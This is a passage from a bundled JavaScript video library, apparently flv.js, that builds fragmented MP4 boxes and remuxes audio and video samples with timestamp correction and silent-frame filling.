MP4.tkhd(meta), MP4.mdia(meta)); + } + + // Track header box + + }, { + key: 'tkhd', + value: function tkhd(meta) { + var trackId = meta.id, + duration = meta.duration; + var width = meta.presentWidth, + height = meta.presentHeight; + + return MP4.box(MP4.types.tkhd, new Uint8Array([0x00, 0x00, 0x00, 0x07, // version(0) + flags + 0x00, 0x00, 0x00, 0x00, // creation_time + 0x00, 0x00, 0x00, 0x00, // modification_time + trackId >>> 24 & 0xFF, // track_ID: 4 bytes + trackId >>> 16 & 0xFF, trackId >>> 8 & 0xFF, trackId & 0xFF, 0x00, 0x00, 0x00, 0x00, // reserved: 4 bytes + duration >>> 24 & 0xFF, // duration: 4 bytes + duration >>> 16 & 0xFF, duration >>> 8 & 0xFF, duration & 0xFF, 0x00, 0x00, 0x00, 0x00, // reserved: 2 * 4 bytes + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // layer(2bytes) + alternate_group(2bytes) + 0x00, 0x00, 0x00, 0x00, // volume(2bytes) + reserved(2bytes) + 0x00, 0x01, 0x00, 0x00, // ----begin composition matrix---- + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, // ----end composition matrix---- + width >>> 8 & 0xFF, // width and height + width & 0xFF, 0x00, 0x00, height >>> 8 & 0xFF, height & 0xFF, 0x00, 0x00])); + } + + // Media Box + + }, { + key: 'mdia', + value: function mdia(meta) { + return MP4.box(MP4.types.mdia, MP4.mdhd(meta), MP4.hdlr(meta), MP4.minf(meta)); + } + + // Media header box + + }, { + key: 'mdhd', + value: function mdhd(meta) { + var timescale = meta.timescale; + var duration = meta.duration; + return MP4.box(MP4.types.mdhd, new Uint8Array([0x00, 0x00, 0x00, 0x00, // version(0) + flags + 0x00, 0x00, 0x00, 0x00, // creation_time + 0x00, 0x00, 0x00, 0x00, // modification_time + timescale >>> 24 & 0xFF, // timescale: 4 bytes + timescale >>> 16 & 0xFF, timescale >>> 8 & 0xFF, timescale & 0xFF, duration >>> 24 & 0xFF, // duration: 4 bytes + duration >>> 16 & 0xFF, duration >>> 8 & 0xFF, duration & 0xFF, 0x55, 0xC4, // language: und (undetermined) + 0x00, 0x00 // pre_defined = 0 + ])); + } + + // Media handler reference box + + }, { + key: 'hdlr', + value: function hdlr(meta) { + var data = null; + if (meta.type === 'audio') { + data = MP4.constants.HDLR_AUDIO; + } else { + data = MP4.constants.HDLR_VIDEO; + } + return MP4.box(MP4.types.hdlr, data); + } + + // Media infomation box + + }, { + key: 'minf', + value: function minf(meta) { + var xmhd = null; + if (meta.type === 'audio') { + xmhd = MP4.box(MP4.types.smhd, MP4.constants.SMHD); + } else { + xmhd = MP4.box(MP4.types.vmhd, MP4.constants.VMHD); + } + return MP4.box(MP4.types.minf, xmhd, MP4.dinf(), MP4.stbl(meta)); + } + + // Data infomation box + + }, { + key: 'dinf', + value: function dinf() { + var result = MP4.box(MP4.types.dinf, MP4.box(MP4.types.dref, MP4.constants.DREF)); + return result; + } + + // Sample table box + + }, { + key: 'stbl', + value: function stbl(meta) { + var result = MP4.box(MP4.types.stbl, // type: stbl + MP4.stsd(meta), // Sample Description Table + MP4.box(MP4.types.stts, MP4.constants.STTS), // Time-To-Sample + MP4.box(MP4.types.stsc, MP4.constants.STSC), // Sample-To-Chunk + MP4.box(MP4.types.stsz, MP4.constants.STSZ), // Sample size + MP4.box(MP4.types.stco, MP4.constants.STCO // Chunk offset + )); + return result; + } + + // Sample description box + + }, { + key: 'stsd', + value: function stsd(meta) { + if (meta.type === 'audio') { + if (meta.codec === 'mp3') { + return MP4.box(MP4.types.stsd, MP4.constants.STSD_PREFIX, MP4.mp3(meta)); + } + // else: aac -> mp4a + return MP4.box(MP4.types.stsd, MP4.constants.STSD_PREFIX, MP4.mp4a(meta)); + } else { + return MP4.box(MP4.types.stsd, MP4.constants.STSD_PREFIX, MP4.avc1(meta)); + } + } + }, { + key: 'mp3', + value: function mp3(meta) { + var channelCount = meta.channelCount; + var sampleRate = meta.audioSampleRate; + + var data = new Uint8Array([0x00, 0x00, 0x00, 0x00, // reserved(4) + 0x00, 0x00, 0x00, 0x01, // reserved(2) + data_reference_index(2) + 0x00, 0x00, 0x00, 0x00, // reserved: 2 * 4 bytes + 0x00, 0x00, 0x00, 0x00, 0x00, channelCount, // channelCount(2) + 0x00, 0x10, // sampleSize(2) + 0x00, 0x00, 0x00, 0x00, // reserved(4) + sampleRate >>> 8 & 0xFF, // Audio sample rate + sampleRate & 0xFF, 0x00, 0x00]); + + return MP4.box(MP4.types['.mp3'], data); + } + }, { + key: 'mp4a', + value: function mp4a(meta) { + var channelCount = meta.channelCount; + var sampleRate = meta.audioSampleRate; + + var data = new Uint8Array([0x00, 0x00, 0x00, 0x00, // reserved(4) + 0x00, 0x00, 0x00, 0x01, // reserved(2) + data_reference_index(2) + 0x00, 0x00, 0x00, 0x00, // reserved: 2 * 4 bytes + 0x00, 0x00, 0x00, 0x00, 0x00, channelCount, // channelCount(2) + 0x00, 0x10, // sampleSize(2) + 0x00, 0x00, 0x00, 0x00, // reserved(4) + sampleRate >>> 8 & 0xFF, // Audio sample rate + sampleRate & 0xFF, 0x00, 0x00]); + + return MP4.box(MP4.types.mp4a, data, MP4.esds(meta)); + } + }, { + key: 'esds', + value: function esds(meta) { + var config = meta.config || []; + var configSize = config.length; + var data = new Uint8Array([0x00, 0x00, 0x00, 0x00, // version 0 + flags + + 0x03, // descriptor_type + 0x17 + configSize, // length3 + 0x00, 0x01, // es_id + 0x00, // stream_priority + + 0x04, // descriptor_type + 0x0F + configSize, // length + 0x40, // codec: mpeg4_audio + 0x15, // stream_type: Audio + 0x00, 0x00, 0x00, // buffer_size + 0x00, 0x00, 0x00, 0x00, // maxBitrate + 0x00, 0x00, 0x00, 0x00, // avgBitrate + + 0x05 // descriptor_type + ].concat([configSize]).concat(config).concat([0x06, 0x01, 0x02 // GASpecificConfig + ])); + return MP4.box(MP4.types.esds, data); + } + }, { + key: 'avc1', + value: function avc1(meta) { + var avcc = meta.avcc; + var width = meta.codecWidth, + height = meta.codecHeight; + + var data = new Uint8Array([0x00, 0x00, 0x00, 0x00, // reserved(4) + 0x00, 0x00, 0x00, 0x01, // reserved(2) + data_reference_index(2) + 0x00, 0x00, 0x00, 0x00, // pre_defined(2) + reserved(2) + 0x00, 0x00, 0x00, 0x00, // pre_defined: 3 * 4 bytes + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, width >>> 8 & 0xFF, // width: 2 bytes + width & 0xFF, height >>> 8 & 0xFF, // height: 2 bytes + height & 0xFF, 0x00, 0x48, 0x00, 0x00, // horizresolution: 4 bytes + 0x00, 0x48, 0x00, 0x00, // vertresolution: 4 bytes + 0x00, 0x00, 0x00, 0x00, // reserved: 4 bytes + 0x00, 0x01, // frame_count + 0x0A, // strlen + 0x78, 0x71, 0x71, 0x2F, // compressorname: 32 bytes + 0x66, 0x6C, 0x76, 0x2E, 0x6A, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, // depth + 0xFF, 0xFF // pre_defined = -1 + ]); + return MP4.box(MP4.types.avc1, data, MP4.box(MP4.types.avcC, avcc)); + } + + // Movie Extends box + + }, { + key: 'mvex', + value: function mvex(meta) { + return MP4.box(MP4.types.mvex, MP4.trex(meta)); + } + + // Track Extends box + + }, { + key: 'trex', + value: function trex(meta) { + var trackId = meta.id; + var data = new Uint8Array([0x00, 0x00, 0x00, 0x00, // version(0) + flags + trackId >>> 24 & 0xFF, // track_ID + trackId >>> 16 & 0xFF, trackId >>> 8 & 0xFF, trackId & 0xFF, 0x00, 0x00, 0x00, 0x01, // default_sample_description_index + 0x00, 0x00, 0x00, 0x00, // default_sample_duration + 0x00, 0x00, 0x00, 0x00, // default_sample_size + 0x00, 0x01, 0x00, 0x01 // default_sample_flags + ]); + return MP4.box(MP4.types.trex, data); + } + + // Movie fragment box + + }, { + key: 'moof', + value: function moof(track, baseMediaDecodeTime) { + return MP4.box(MP4.types.moof, MP4.mfhd(track.sequenceNumber), MP4.traf(track, baseMediaDecodeTime)); + } + }, { + key: 'mfhd', + value: function mfhd(sequenceNumber) { + var data = new Uint8Array([0x00, 0x00, 0x00, 0x00, sequenceNumber >>> 24 & 0xFF, // sequence_number: int32 + sequenceNumber >>> 16 & 0xFF, sequenceNumber >>> 8 & 0xFF, sequenceNumber & 0xFF]); + return MP4.box(MP4.types.mfhd, data); + } + + // Track fragment box + + }, { + key: 'traf', + value: function traf(track, baseMediaDecodeTime) { + var trackId = track.id; + + // Track fragment header box + var tfhd = MP4.box(MP4.types.tfhd, new Uint8Array([0x00, 0x00, 0x00, 0x00, // version(0) & flags + trackId >>> 24 & 0xFF, // track_ID + trackId >>> 16 & 0xFF, trackId >>> 8 & 0xFF, trackId & 0xFF])); + // Track Fragment Decode Time + var tfdt = MP4.box(MP4.types.tfdt, new Uint8Array([0x00, 0x00, 0x00, 0x00, // version(0) & flags + baseMediaDecodeTime >>> 24 & 0xFF, // baseMediaDecodeTime: int32 + baseMediaDecodeTime >>> 16 & 0xFF, baseMediaDecodeTime >>> 8 & 0xFF, baseMediaDecodeTime & 0xFF])); + var sdtp = MP4.sdtp(track); + var trun = MP4.trun(track, sdtp.byteLength + 16 + 16 + 8 + 16 + 8 + 8); + + return MP4.box(MP4.types.traf, tfhd, tfdt, trun, sdtp); + } + + // Sample Dependency Type box + + }, { + key: 'sdtp', + value: function sdtp(track) { + var samples = track.samples || []; + var sampleCount = samples.length; + var data = new Uint8Array(4 + sampleCount); + // 0~4 bytes: version(0) & flags + for (var i = 0; i < sampleCount; i++) { + var flags = samples[i].flags; + data[i + 4] = flags.isLeading << 6 | // is_leading: 2 (bit) + flags.dependsOn << 4 // sample_depends_on + | flags.isDependedOn << 2 // sample_is_depended_on + | flags.hasRedundancy; // sample_has_redundancy + } + return MP4.box(MP4.types.sdtp, data); + } + + // Track fragment run box + + }, { + key: 'trun', + value: function trun(track, offset) { + var samples = track.samples || []; + var sampleCount = samples.length; + var dataSize = 12 + 16 * sampleCount; + var data = new Uint8Array(dataSize); + offset += 8 + dataSize; + + data.set([0x00, 0x00, 0x0F, 0x01, // version(0) & flags + sampleCount >>> 24 & 0xFF, // sample_count + sampleCount >>> 16 & 0xFF, sampleCount >>> 8 & 0xFF, sampleCount & 0xFF, offset >>> 24 & 0xFF, // data_offset + offset >>> 16 & 0xFF, offset >>> 8 & 0xFF, offset & 0xFF], 0); + + for (var i = 0; i < sampleCount; i++) { + var duration = samples[i].duration; + var size = samples[i].size; + var flags = samples[i].flags; + var cts = samples[i].cts; + data.set([duration >>> 24 & 0xFF, // sample_duration + duration >>> 16 & 0xFF, duration >>> 8 & 0xFF, duration & 0xFF, size >>> 24 & 0xFF, // sample_size + size >>> 16 & 0xFF, size >>> 8 & 0xFF, size & 0xFF, flags.isLeading << 2 | flags.dependsOn, // sample_flags + flags.isDependedOn << 6 | flags.hasRedundancy << 4 | flags.isNonSync, 0x00, 0x00, // sample_degradation_priority + cts >>> 24 & 0xFF, // sample_composition_time_offset + cts >>> 16 & 0xFF, cts >>> 8 & 0xFF, cts & 0xFF], 12 + 16 * i); + } + return MP4.box(MP4.types.trun, data); + } + }, { + key: 'mdat', + value: function mdat(data) { + return MP4.box(MP4.types.mdat, data); + } + }]); + + return MP4; + }(); + + MP4.init(); + + exports.default = MP4; + +},{}],38:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _logger = _dereq_('../utils/logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + var _mp4Generator = _dereq_('./mp4-generator.js'); + + var _mp4Generator2 = _interopRequireDefault(_mp4Generator); + + var _aacSilent = _dereq_('./aac-silent.js'); + + var _aacSilent2 = _interopRequireDefault(_aacSilent); + + var _browser = _dereq_('../utils/browser.js'); + + var _browser2 = _interopRequireDefault(_browser); + + var _mediaSegmentInfo = _dereq_('../core/media-segment-info.js'); + + var _exception = _dereq_('../utils/exception.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + +// Fragmented mp4 remuxer + var MP4Remuxer = function () { + function MP4Remuxer(config) { + _classCallCheck(this, MP4Remuxer); + + this.TAG = 'MP4Remuxer'; + + this._config = config; + this._isLive = config.isLive === true ? true : false; + + this._dtsBase = -1; + this._dtsBaseInited = false; + this._audioDtsBase = Infinity; + this._videoDtsBase = Infinity; + this._audioNextDts = undefined; + this._videoNextDts = undefined; + this._audioStashedLastSample = null; + this._videoStashedLastSample = null; + + this._audioMeta = null; + this._videoMeta = null; + + this._audioSegmentInfoList = new _mediaSegmentInfo.MediaSegmentInfoList('audio'); + this._videoSegmentInfoList = new _mediaSegmentInfo.MediaSegmentInfoList('video'); + + this._onInitSegment = null; + this._onMediaSegment = null; + + // Workaround for chrome < 50: Always force first sample as a Random Access Point in media segment + // see https://bugs.chromium.org/p/chromium/issues/detail?id=229412 + this._forceFirstIDR = _browser2.default.chrome && (_browser2.default.version.major < 50 || _browser2.default.version.major === 50 && _browser2.default.version.build < 2661) ? true : false; + + // Workaround for IE11/Edge: Fill silent aac frame after keyframe-seeking + // Make audio beginDts equals with video beginDts, in order to fix seek freeze + this._fillSilentAfterSeek = _browser2.default.msedge || _browser2.default.msie; + + // While only FireFox supports 'audio/mp4, codecs="mp3"', use 'audio/mpeg' for chrome, safari, ... + this._mp3UseMpegAudio = !_browser2.default.firefox; + + this._fillAudioTimestampGap = this._config.fixAudioTimestampGap; + } + + _createClass(MP4Remuxer, [{ + key: 'destroy', + value: function destroy() { + this._dtsBase = -1; + this._dtsBaseInited = false; + this._audioMeta = null; + this._videoMeta = null; + this._audioSegmentInfoList.clear(); + this._audioSegmentInfoList = null; + this._videoSegmentInfoList.clear(); + this._videoSegmentInfoList = null; + this._onInitSegment = null; + this._onMediaSegment = null; + } + }, { + key: 'bindDataSource', + value: function bindDataSource(producer) { + producer.onDataAvailable = this.remux.bind(this); + producer.onTrackMetadata = this._onTrackMetadataReceived.bind(this); + return this; + } + + /* prototype: function onInitSegment(type: string, initSegment: ArrayBuffer): void + InitSegment: { + type: string, + data: ArrayBuffer, + codec: string, + container: string + } + */ + + }, { + key: 'insertDiscontinuity', + value: function insertDiscontinuity() { + this._audioNextDts = this._videoNextDts = undefined; + } + }, { + key: 'seek', + value: function seek(originalDts) { + this._audioStashedLastSample = null; + this._videoStashedLastSample = null; + this._videoSegmentInfoList.clear(); + this._audioSegmentInfoList.clear(); + } + }, { + key: 'remux', + value: function remux(audioTrack, videoTrack) { + if (!this._onMediaSegment) { + throw new _exception.IllegalStateException('MP4Remuxer: onMediaSegment callback must be specificed!'); + } + if (!this._dtsBaseInited) { + this._calculateDtsBase(audioTrack, videoTrack); + } + this._remuxVideo(videoTrack); + this._remuxAudio(audioTrack); + } + }, { + key: '_onTrackMetadataReceived', + value: function _onTrackMetadataReceived(type, metadata) { + var metabox = null; + + var container = 'mp4'; + var codec = metadata.codec; + + if (type === 'audio') { + this._audioMeta = metadata; + if (metadata.codec === 'mp3' && this._mp3UseMpegAudio) { + // 'audio/mpeg' for MP3 audio track + container = 'mpeg'; + codec = ''; + metabox = new Uint8Array(); + } else { + // 'audio/mp4, codecs="codec"' + metabox = _mp4Generator2.default.generateInitSegment(metadata); + } + } else if (type === 'video') { + this._videoMeta = metadata; + metabox = _mp4Generator2.default.generateInitSegment(metadata); + } else { + return; + } + + // dispatch metabox (Initialization Segment) + if (!this._onInitSegment) { + throw new _exception.IllegalStateException('MP4Remuxer: onInitSegment callback must be specified!'); + } + this._onInitSegment(type, { + type: type, + data: metabox.buffer, + codec: codec, + container: type + '/' + container, + mediaDuration: metadata.duration // in timescale 1000 (milliseconds) + }); + } + }, { + key: '_calculateDtsBase', + value: function _calculateDtsBase(audioTrack, videoTrack) { + if (this._dtsBaseInited) { + return; + } + + if (audioTrack.samples && audioTrack.samples.length) { + this._audioDtsBase = audioTrack.samples[0].dts; + } + if (videoTrack.samples && videoTrack.samples.length) { + this._videoDtsBase = videoTrack.samples[0].dts; + } + + this._dtsBase = Math.min(this._audioDtsBase, this._videoDtsBase); + this._dtsBaseInited = true; + } + }, { + key: 'flushStashedSamples', + value: function flushStashedSamples() { + var videoSample = this._videoStashedLastSample; + var audioSample = this._audioStashedLastSample; + + var videoTrack = { + type: 'video', + id: 1, + sequenceNumber: 0, + samples: [], + length: 0 + }; + + if (videoSample != null) { + videoTrack.samples.push(videoSample); + videoTrack.length = videoSample.length; + } + + var audioTrack = { + type: 'audio', + id: 2, + sequenceNumber: 0, + samples: [], + length: 0 + }; + + if (audioSample != null) { + audioTrack.samples.push(audioSample); + audioTrack.length = audioSample.length; + } + + this._videoStashedLastSample = null; + this._audioStashedLastSample = null; + + this._remuxVideo(videoTrack, true); + this._remuxAudio(audioTrack, true); + } + }, { + key: '_remuxAudio', + value: function _remuxAudio(audioTrack, force) { + if (this._audioMeta == null) { + return; + } + + var track = audioTrack; + var samples = track.samples; + var dtsCorrection = undefined; + var firstDts = -1, + lastDts = -1, + lastPts = -1; + var refSampleDuration = this._audioMeta.refSampleDuration; + + var mpegRawTrack = this._audioMeta.codec === 'mp3' && this._mp3UseMpegAudio; + var firstSegmentAfterSeek = this._dtsBaseInited && this._audioNextDts === undefined; + + var insertPrefixSilentFrame = false; + + if (!samples || samples.length === 0) { + return; + } + if (samples.length === 1 && !force) { + // If [sample count in current batch] === 1 && (force != true) + // Ignore and keep in demuxer's queue + return; + } // else if (force === true) do remux + + var offset = 0; + var mdatbox = null; + var mdatBytes = 0; + + // calculate initial mdat size + if (mpegRawTrack) { + // for raw mpeg buffer + offset = 0; + mdatBytes = track.length; + } else { + // for fmp4 mdat box + offset = 8; // size + type + mdatBytes = 8 + track.length; + } + + var lastSample = null; + + // Pop the lastSample and waiting for stash + if (samples.length > 1) { + lastSample = samples.pop(); + mdatBytes -= lastSample.length; + } + + // Insert [stashed lastSample in the previous batch] to the front + if (this._audioStashedLastSample != null) { + var sample = this._audioStashedLastSample; + this._audioStashedLastSample = null; + samples.unshift(sample); + mdatBytes += sample.length; + } + + // Stash the lastSample of current batch, waiting for next batch + if (lastSample != null) { + this._audioStashedLastSample = lastSample; + } + + var firstSampleOriginalDts = samples[0].dts - this._dtsBase; + + // calculate dtsCorrection + if (this._audioNextDts) { + dtsCorrection = firstSampleOriginalDts - this._audioNextDts; + } else { + // this._audioNextDts == undefined + if (this._audioSegmentInfoList.isEmpty()) { + dtsCorrection = 0; + if (this._fillSilentAfterSeek && !this._videoSegmentInfoList.isEmpty()) { + if (this._audioMeta.originalCodec !== 'mp3') { + insertPrefixSilentFrame = true; + } + } + } else { + var _lastSample = this._audioSegmentInfoList.getLastSampleBefore(firstSampleOriginalDts); + if (_lastSample != null) { + var distance = firstSampleOriginalDts - (_lastSample.originalDts + _lastSample.duration); + if (distance <= 3) { + distance = 0; + } + var expectedDts = _lastSample.dts + _lastSample.duration + distance; + dtsCorrection = firstSampleOriginalDts - expectedDts; + } else { + // lastSample == null, cannot found + dtsCorrection = 0; + } + } + } + + if (insertPrefixSilentFrame) { + // align audio segment beginDts to match with current video segment's beginDts + var firstSampleDts = firstSampleOriginalDts - dtsCorrection; + var videoSegment = this._videoSegmentInfoList.getLastSegmentBefore(firstSampleOriginalDts); + if (videoSegment != null && videoSegment.beginDts < firstSampleDts) { + var silentUnit = _aacSilent2.default.getSilentFrame(this._audioMeta.originalCodec, this._audioMeta.channelCount); + if (silentUnit) { + var dts = videoSegment.beginDts; + var silentFrameDuration = firstSampleDts - videoSegment.beginDts; + _logger2.default.v(this.TAG, 'InsertPrefixSilentAudio: dts: ' + dts + ', duration: ' + silentFrameDuration); + samples.unshift({ unit: silentUnit, dts: dts, pts: dts }); + mdatBytes += silentUnit.byteLength; + } // silentUnit == null: Cannot generate, skip + } else { + insertPrefixSilentFrame = false; + } + } + + var mp4Samples = []; + + // Correct dts for each sample, and calculate sample duration. Then output to mp4Samples + for (var i = 0; i < samples.length; i++) { + var _sample = samples[i]; + var unit = _sample.unit; + var originalDts = _sample.dts - this._dtsBase; + var _dts = originalDts - dtsCorrection; + + if (firstDts === -1) { + firstDts = _dts; + } + + var sampleDuration = 0; + + if (i !== samples.length - 1) { + var nextDts = samples[i + 1].dts - this._dtsBase - dtsCorrection; + sampleDuration = nextDts - _dts; + } else { + // the last sample + if (lastSample != null) { + // use stashed sample's dts to calculate sample duration + var _nextDts = lastSample.dts - this._dtsBase - dtsCorrection; + sampleDuration = _nextDts - _dts; + } else if (mp4Samples.length >= 1) { + // use second last sample duration + sampleDuration = mp4Samples[mp4Samples.length - 1].duration; + } else { + // the only one sample, use reference sample duration + sampleDuration = Math.floor(refSampleDuration); + } + } + + var needFillSilentFrames = false; + var silentFrames = null; + + // Silent frame generation, if large timestamp gap detected && config.fixAudioTimestampGap + if (sampleDuration > refSampleDuration * 1.5 && this._audioMeta.codec !== 'mp3' && this._fillAudioTimestampGap && !_browser2.default.safari) { + // We need to insert silent frames to fill timestamp gap + needFillSilentFrames = true; + var delta = Math.abs(sampleDuration - refSampleDuration); + var frameCount = Math.ceil(delta / refSampleDuration); + var currentDts = _dts + refSampleDuration; // Notice: in float + + _logger2.default.w(this.TAG, 'Large audio timestamp gap detected, may cause AV sync to drift. ' + 'Silent frames will be generated to avoid unsync.\n' + ('dts: ' + (_dts + sampleDuration) + ' ms, expected: ' + (_dts + Math.round(refSampleDuration)) + ' ms, ') + ('delta: ' + Math.round(delta) + ' ms, generate: ' + frameCount + ' frames')); + + var _silentUnit = _aacSilent2.default.getSilentFrame(this._audioMeta.originalCodec, this._audioMeta.channelCount); + if (_silentUnit == null) { + _logger2.default.w(this.TAG, 'Unable to generate silent frame for ' + (this._audioMeta.originalCodec + ' with ' + this._audioMeta.channelCount + ' channels, repeat last frame')); + // Repeat last frame + _silentUnit = unit; + } + silentFrames = []; + + for (var j = 0; j < frameCount; j++) { + var intDts = Math.round(currentDts); // round to integer + if (silentFrames.length > 0) { + // Set previous frame sample duration + var previousFrame = silentFrames[silentFrames.length - 1]; + previousFrame.duration = intDts - previousFrame.dts; + } + var frame = { + dts: intDts, + pts: intDts, + cts: 0, + unit: _silentUnit, + size: _silentUnit.byteLength, + duration: 0, // wait for next sample + originalDts: originalDts, + flags: { + isLeading: 0, + dependsOn: 1, + isDependedOn: 0, + hasRedundancy: 0 + } + }; + silentFrames.push(frame); + mdatBytes += frame.size; + currentDts += refSampleDuration; + } + + // last frame: align end time to next frame dts + var lastFrame = silentFrames[silentFrames.length - 1]; + lastFrame.duration = _dts + sampleDuration - lastFrame.dts; + + // silentFrames.forEach((frame) => { + // Log.w(this.TAG, `SilentAudio: dts: ${frame.dts}, duration: ${frame.duration}`); + // }); + + // Set correct sample duration for current frame + sampleDuration = Math.round(refSampleDuration); + } + + mp4Samples.push({ + dts: _dts, + pts: _dts, + cts: 0, + unit: _sample.unit, + size: _sample.unit.byteLength, + duration: sampleDuration, + originalDts: originalDts, + flags: { + isLeading: 0, + dependsOn: 1, + isDependedOn: 0, + hasRedundancy: 0 + } + }); + + if (needFillSilentFrames) { + // Silent frames should be inserted after wrong-duration frame + mp4Samples.push.apply(mp4Samples, silentFrames); + } + } + + // allocate mdatbox + if (mpegRawTrack) { + // allocate for raw mpeg buffer + mdatbox = new Uint8Array(mdatBytes); + } else { + // allocate for fmp4 mdat box + mdatbox = new Uint8Array(mdatBytes); + // size field + mdatbox[0] = mdatBytes >>> 24 & 0xFF; + mdatbox[1] = mdatBytes >>> 16 & 0xFF; + mdatbox[2] = mdatBytes >>> 8 & 0xFF; + mdatbox[3] = mdatBytes & 0xFF; + // type field (fourCC) + mdatbox.set(_mp4Generator2.default.types.mdat, 4); + } + + // Write samples into mdatbox + for (var _i = 0; _i < mp4Samples.length; _i++) { + var _unit = mp4Samples[_i].unit; + mdatbox.set(_unit, offset); + offset += _unit.byteLength; + } + + var latest = mp4Samples[mp4Samples.length - 1]; + lastDts = latest.dts + latest.duration; + this._audioNextDts = lastDts; + + // fill media segment info & add to info list + var info = new _mediaSegmentInfo.MediaSegmentInfo(); + info.beginDts = firstDts; + info.endDts = lastDts; + info.beginPts = firstDts; + info.endPts = lastDts; + info.originalBeginDts = mp4Samples[0].originalDts; + info.originalEndDts = latest.originalDts + latest.duration; + info.firstSample = new _mediaSegmentInfo.SampleInfo(mp4Samples[0].dts, mp4Samples[0].pts, mp4Samples[0].duration, mp4Samples[0].originalDts, false); + info.lastSample = new _mediaSegmentInfo.SampleInfo(latest.dts, latest.pts, latest.duration, latest.originalDts, false); + if (!this._isLive) { + this._audioSegmentInfoList.append(info); + } + + track.samples = mp4Samples; + track.sequenceNumber++; + + var moofbox = null; + + if (mpegRawTrack) { + // Generate empty buffer, because useless for raw mpeg + moofbox = new Uint8Array(); + } else { + // Generate moof for fmp4 segment + moofbox = _mp4Generator2.default.moof(track, firstDts); + } + + track.samples = []; + track.length = 0; + + var segment = { + type: 'audio', + data: this._mergeBoxes(moofbox, mdatbox).buffer, + sampleCount: mp4Samples.length, + info: info + }; + + if (mpegRawTrack && firstSegmentAfterSeek) { + // For MPEG audio stream in MSE, if seeking occurred, before appending new buffer + // We need explicitly set timestampOffset to the desired point in timeline for mpeg SourceBuffer. + segment.timestampOffset = firstDts; + } + + this._onMediaSegment('audio', segment); + } + }, { + key: '_remuxVideo', + value: function _remuxVideo(videoTrack, force) { + if (this._videoMeta == null) { + return; + } + + var track = videoTrack; + var samples = track.samples; + var dtsCorrection = undefined; + var firstDts = -1, + lastDts = -1; + var firstPts = -1, + lastPts = -1; + + if (!samples || samples.length === 0) { + return; + } + if (samples.length === 1 && !force) { + // If [sample count in current batch] === 1 && (force != true) + // Ignore and keep in demuxer's queue + return; + } // else if (force === true) do remux + + var offset = 8; + var mdatbox = null; + var mdatBytes = 8 + videoTrack.length; + + var lastSample = null; + + // Pop the lastSample and waiting for stash + if (samples.length > 1) { + lastSample = samples.pop(); + mdatBytes -= lastSample.length; + } + + // Insert [stashed lastSample in the previous batch] to the front + if (this._videoStashedLastSample != null) { + var sample = this._videoStashedLastSample; + this._videoStashedLastSample = null; + samples.unshift(sample); + mdatBytes += sample.length; + } + + // Stash the lastSample of current batch, waiting for next batch + if (lastSample != null) { + this._videoStashedLastSample = lastSample; + } + + var firstSampleOriginalDts = samples[0].dts - this._dtsBase; + + // calculate dtsCorrection + if (this._videoNextDts) { + dtsCorrection = firstSampleOriginalDts - this._videoNextDts; + } else { + // this._videoNextDts == undefined + if (this._videoSegmentInfoList.isEmpty()) { + dtsCorrection = 0; + } else { + var _lastSample2 = this._videoSegmentInfoList.getLastSampleBefore(firstSampleOriginalDts); + if (_lastSample2 != null) { + var distance = firstSampleOriginalDts - (_lastSample2.originalDts + _lastSample2.duration); + if (distance <= 3) { + distance = 0; + } + var expectedDts = _lastSample2.dts + _lastSample2.duration + distance; + dtsCorrection = firstSampleOriginalDts - expectedDts; + } else { + // lastSample == null, cannot found + dtsCorrection = 0; + } + } + } + + var info = new _mediaSegmentInfo.MediaSegmentInfo(); + var mp4Samples = []; + + // Correct dts for each sample, and calculate sample duration. Then output to mp4Samples + for (var i = 0; i < samples.length; i++) { + var _sample2 = samples[i]; + var originalDts = _sample2.dts - this._dtsBase; + var isKeyframe = _sample2.isKeyframe; + var dts = originalDts - dtsCorrection; + var cts = _sample2.cts; + var pts = dts + cts; + + if (firstDts === -1) { + firstDts = dts; + firstPts = pts; + } + + var sampleDuration = 0; + + if (i !== samples.length - 1) { + var nextDts = samples[i + 1].dts - this._dtsBase - dtsCorrection; + sampleDuration = nextDts - dts; + } else { + // the last sample + if (lastSample != null) { + // use stashed sample's dts to calculate sample duration + var _nextDts2 = lastSample.dts - this._dtsBase - dtsCorrection; + sampleDuration = _nextDts2 - dts; + } else if (mp4Samples.length >= 1) { + // use second last sample duration + sampleDuration = mp4Samples[mp4Samples.length - 1].duration; + } else { + // the only one sample, use reference sample duration + sampleDuration = Math.floor(this._videoMeta.refSampleDuration); + } + } + + if (isKeyframe) { + var syncPoint = new _mediaSegmentInfo.SampleInfo(dts, pts, sampleDuration, _sample2.dts, true); + syncPoint.fileposition = _sample2.fileposition; + info.appendSyncPoint(syncPoint); + } + + mp4Samples.push({ + dts: dts, + pts: pts, + cts: cts, + units: _sample2.units, + size: 